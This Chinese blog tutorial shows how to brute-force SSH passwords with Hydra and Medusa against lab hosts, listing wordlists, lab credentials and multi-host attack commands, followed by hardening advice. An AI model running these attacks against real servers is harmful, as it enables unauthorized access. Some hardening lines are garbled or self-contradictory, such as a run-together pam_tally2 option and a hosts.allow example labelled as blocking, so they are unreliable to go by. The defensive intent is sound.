服务器安全测试---Kali破解ssh密码测试

前言:

  本文将介绍常用的暴力破解ssh远程登录账户和密码的工具HydraMedusa,并使用这些工具对靶机进行简单的破解测试,从而得到有效的防范方法。

1. 工具介绍

  工具都是Kali系统附带有的,当然,其他linux系统也可下载测试。先来认识下这些工具。


Hydra

  Hydra (海德拉)是世界顶级密码暴力密码破解工具,支持几乎所有协议的在线密码破解,功能强大,其密码能否被破解关键取决于破解字典是否足够强大,在网络安全渗透过程中是一款必备的测试工具。

参数介绍:

hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-c TIME] [-ISOuvVd46] [service://server[:PORT][/OPT]]
-R 恢复上一次的会话
-I 忽略存在的恢复文件
-S SSL连接
-s 端口号
-l 尝试登陆名
-L 从文件中导入登录名
-p 尝试密码
-P 从文件中导入密码
-e nsr n尝试空密码 s尝试与用户名相同的密码 r反向登陆循环
-c TIME 设置尝试登陆等待时间
-4 / -6 使用IPV4地址或IPV6地址
-v / -V 详细信息模式/显示每次尝试的用户名+密码/调试模式
-O 使用旧版本SSL v2和v3
-q 不显示连接错误信息
-h 帮助
-M 从文件中导入服务类型
-f / -F 在找到第一个账号/密码后,停止破解
server 目标IP
service 支持的服务类型
支持的服务类型:adam6500 asterisk cisco cisco-enable cvs firebird ftp ftps http[s]-{
    
    head|get|post} http[s]-{
    
    get|post}-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-{
    
    cram|digest}md5][s] mssql mysql nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres radmin2 rdp redis rexec rlogin rpcap rsh rtsp s7-300 sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey svn teamspeak telnet[s] vmauthd vnc xmpp
Examples:
hydra -l user -P passlist.txt ftp://192.168.0.1
  hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN
  hydra -C defaults.txt -6 pop3s://[2001:db8::1]:143/TLS:DIGEST-MD5
  hydra -l admin -p password ftp://[192.168.0.0/24]/
  hydra -L logins.txt -P pws.txt -M targets.txt ssh


Medusa

  Medusa(美杜莎)是一个速度快,支持大规模并行,模块化,爆破登录。可以同时对多个主机,用户或密码执行强力测试。

基于线程的并行测试:可以对多个执行暴力测试 主机,用户或密码同时进行。
灵活的用户输:目标信息(主机/用户/密码)可以在 多种方式。 例如,每个项目可以是单个条目或文件    包含多个条目, 此外,组合文件格式允许用户 完善目标列表。
模块化设计: 每个服务模块都作为独立的.mod文件存在。 这表示 无需对核心应用程序进行任何修改即可扩展受支持的列表 暴力破解服务。 

参数介绍:

Medusa [-h host|-H file] [-u username|-U file] [-p password|-P file] [-C file] -M module [OPT]
-h [TEXT]      目标IP
-H [FILE]      目标主机文件
-u [TEXT]      用户名
-U [FILE]      用户名文件
-p [TEXT]      密码
-P [FILE]      密码文件
-C [FILE]      组合条目文件
-O [FILE]      文件日志信息
-e [n/s/ns]    N意为空密码,S意为密码与用户名相同
-M [TEXT]      模块执行名称
-m [TEXT]      传递参数到模块
-d             显示所有的模块名称
-n [NUM]       使用非默认端口
-s             启用SSL
-r [NUM]       重试间隔时间,默认为3秒
-t [NUM]       设定线程数量
-L             并行化,每个用户使用一个线程
-f             在找到第一个账号/密码后,停止破解
-q             显示模块的使用信息
-v [NUM]       详细级别(0-6详细)
-w [NUM]       错误调试级别(0-10)
-V             显示版本
-Z [TEXT]      继续扫描上一次
Example:
medusa -M ssh -u root -P passwd.txt -h 192.168.126.130 -f -v 6


两者比较

  1. Medusa比Hydra稳定,但是破解速度比较慢。

  2. SSH尝试速度比FTP尝试速度慢。

  3. Medusa支持参数和服务类型比Hydra少,可能是很久不更新的原因。

2. 测试环境

Kali机配置:
版本:Linux kali 4.15.0-kali2-amd64
地址:10.8.161.163

靶机配置:
靶机1
地址:10.8.161.9
账号1:root
密码:a123.com
普通用户账号:user
普通用户密码:6688aabbcc
靶机2
地址:10.8.161.18
账号:root
密码:666QWE888

主机群地址文件
host.txt

cat host.txt
10.8.161.9
10.8.161.18

用户字典文件
user.txt

cat user.txt
admin
admin123
root
root123
user
Administrotor
adminroot
gly
gly123

密码字典文件
passwd.txt

cat passwd.txt
6688aabbcc
asdfghq%^
adminqaz888
abc.123
666QWE888
100120354
a123.com        # 为了节省时间,把已知靶机密码写进密码本

3. 测试过程

Hydra

hydra -L user.txt -P passwd.txt  -M host.txt -t 20 ssh 
-L 指定用户文件
-P 指定密码文件
-M 指定主机群文件
-t 指定使用的线程数,根据自己的设备性能设置

在这里插入图片描述

Medusa

medusa  -U user.txt -P passwd.txt  -H host.txt  -M ssh -t 10
-U 指定用户文件
-P 指定密码文件
-H 指定主机群文件
-t 指定使用的线程数,根据自己的设备性能设置

在这里插入图片描述

4.如何防范暴力破解

①定时更换密码
②设置更为复杂的密码
③设置密码登录次数

修改如下文件:
/etc/pam.d/sshd    (远程ssh) 
/etc/pam.d/login    (终端) 

在第一行下即#%PAM-1.0的下面添加:
auth required  pam_tally2.so deny=3 unlock_time=600 even_deny_rootroot_unlock_time

各参数解释:
even_deny_root    也限制root用户;   
deny           设置普通用户和root用户连续错误登陆的最大次数,超过最大次数,则锁定该用户   
unlock_time        设定普通用户锁定后,多少时间后解锁,单位是秒;
root_unlock_time      设定root用户锁定后,多少时间后解锁,单位是秒;

手动解除锁定:
查看错误登录次数:pam_tally2 –u tom
查看某一用户错误登陆次数:pam_tally –-user
例如,查看work用户的错误登陆次数:pam_tally –-user work
清空某一用户错误登陆次数:pam_tally –-user –-reset
例如,清空 work 用户的错误登陆次数,pam_tally –-user work –-reset

④修改端口号

vim /etc/ssh/sshd_config
Port 1-65535  #开启端口限定,并指定端口1-65535之间

⑤禁用root用户登陆,平时使用普通用户sudo提权。

usermod root -s /sbin/nologin

⑥只允许指定ip登陆

vim /etc/hosts.allow
例如sshd:8.8.8.8:allow  #禁止8.8.8.8 登陆

⑦禁止密码登录,采用秘钥登陆

一.生成密钥的公钥和私钥
  1.ssh-keygen -t rsa 
二.将生成的私钥(id_rsa)下载到本地的windows机,并把公钥导入到.ssh/authorized_keys 文件中去
  1.#cd /root/.ssh/
  2.#cat id_rsa.pub > authorized_keys 
三.sshd配置
   1.sshd配置文件路径 /etc/ssh/sshd_config
四.设置sshd  服务器服务,打开以下设置:
        RSAAuthentication yes 
        PubkeyAuthentication yes
        AuthorizedKeysFile      /root/.ssh/authorized_keys
        ChallengeResponseAuthentication no 
        PasswordAuthentication no 
        UsePAM no 
五.重启ssh服务
    1.   #service ssh  restart (注意:如果是centos7以下版本)
    2.如果是centos7以上  
      查看ssh服务状态:systemctl status sshd.service
      开启ssh服务:systemctl start sshd.service
      重启ssh服务:systemctl restart sshd.service
      服务器自动开启:systemctl enable sshd.service
六.xshell登录
      登陆时候选择ssh登陆 ,添加id_rsa私钥文件,输入建立私钥时候的密码,就成功了。

5.密码字典下载

包含内容:
0-9a-zAZ~!@#$%^&**()_|:">?等所有密码,需要配合阳寿跑的密码字典!!!∑(゚Д゚ノ)ノ
点击这里查看密码字典
ᕦ(・ㅂ・)ᕤ点击这里查看字典文档ᕦ(・ㅂ・)ᕤ


======================================================================================================================================================================================================================================================================================================
辛苦浏览观看,如果对你有帮助,请顺手点个赞吧 (σ゚∀゚)σ…:*☆

猜你喜欢

转载自blog.csdn.net/qq_26129413/article/details/112294792